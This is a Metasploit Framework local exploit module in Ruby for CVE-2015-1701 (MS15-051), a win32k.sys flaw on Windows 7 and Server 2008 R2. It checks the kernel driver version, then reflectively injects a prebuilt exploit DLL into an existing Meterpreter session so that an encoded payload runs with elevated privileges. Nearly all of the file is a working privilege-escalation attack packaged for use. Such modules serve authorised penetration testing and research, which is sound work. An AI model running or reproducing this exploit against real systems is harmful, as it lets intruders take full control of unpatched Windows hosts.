##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = NormalRanking

  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::FileInfo
  include Msf::Post::Windows::ReflectiveDLLInjection

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'Windows ClientCopyImage Win32k Exploit',
          'Description' => %q{
            This module exploits improper object handling in the win32k.sys kernel mode driver.
            This module has been tested on vulnerable builds of Windows 7 x64 and x86, and
            Windows 2008 R2 SP1 x64.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'Unknown', # vulnerability discovery and exploit in the wild
            'hfirefox',        # Code released on github
            'OJ Reeves',       # msf module
            'Spencer McIntyre' # msf module
          ],
          'Arch' => [ ARCH_X86, ARCH_X64 ],
          'Platform' => 'win',
          'SessionTypes' => [ 'meterpreter' ],
          'DefaultOptions' => {
            'EXITFUNC' => 'thread'
          },
          'Targets' => [
            [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
            [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
          ],
          'Payload' => {
            'Space' => 4096,
            'DisableNops' => true
          },
          'References' => [
            ['CVE', '2015-1701'],
            ['MSB', 'MS15-051'],
            ['URL', 'https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html'],
            ['URL', 'https://github.com/hfiref0x/CVE-2015-1701'],
            ['URL', 'https://technet.microsoft.com/library/security/MS15-051']
          ],
          'DisclosureDate' => '2015-05-12',
          'DefaultTarget' => 0,
          'Notes' => {
            'Stability' => [ CRASH_OS_RESTARTS, ]
          }
        }
      )
    )
  end

  def check
    # Windows XP SP3 (32-bit)                      5.1.2600.6514 (Works)
    # Windows Server 2003 Standard SP2 (32-bit)    5.2.3790.5445 (Works)
    # Windows Server 2008 Enterprise SP2 (32-bit)  6.0.6002.18005 (Does not work)
    # Windows 7 SP1 (64-bit)                       6.1.7601.17514 (Works)
    # Windows 7 SP1 (64-bit)                       6.1.7601.17535 (Works)
    # Windows 7 SP1 (32-bit)                       6.1.7601.17514 (Works)
    # Windows 7 SP1 (32-bit)                       6.1.7601.18388 (Works)
    # Windows Server 2008 R2 (64-bit) SP1          6.1.7601.17514 (Works)
    # Windows Server 2008 R2 (64-bit) SP1          6.1.7601.18105 (Works)

    unless session.platform == 'windows'
      return Exploit::CheckCode::Unknown
    end

    file_path = expand_path('%windir%') << '\\system32\\win32k.sys'
    major, minor, build, revision, branch = file_version(file_path)
    vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")

    return Exploit::CheckCode::Safe if build > 7601

    return Exploit::CheckCode::Appears
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    check_result = check
    if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown
      fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
    end

    if sysinfo['Architecture'] == ARCH_X64
      if session.arch == ARCH_X86
        fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
      end

      if target.arch.first == ARCH_X86
        fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
      end
    elsif target.arch.first == ARCH_X64
      fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
    end

    print_status('Reflectively injecting the exploit DLL and executing it...')
    if target.arch.first == ARCH_X86
      dll_file_name = 'cve-2015-1701.x86.dll'
    else
      dll_file_name = 'cve-2015-1701.x64.dll'
    end

    # invoke the exploit, passing in the address of the payload that
    # we want invoked on successful exploitation.
    encoded_payload = payload.encoded
    execute_dll(
      ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-1701', dll_file_name),
      encoded_payload
    )

    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
  end
end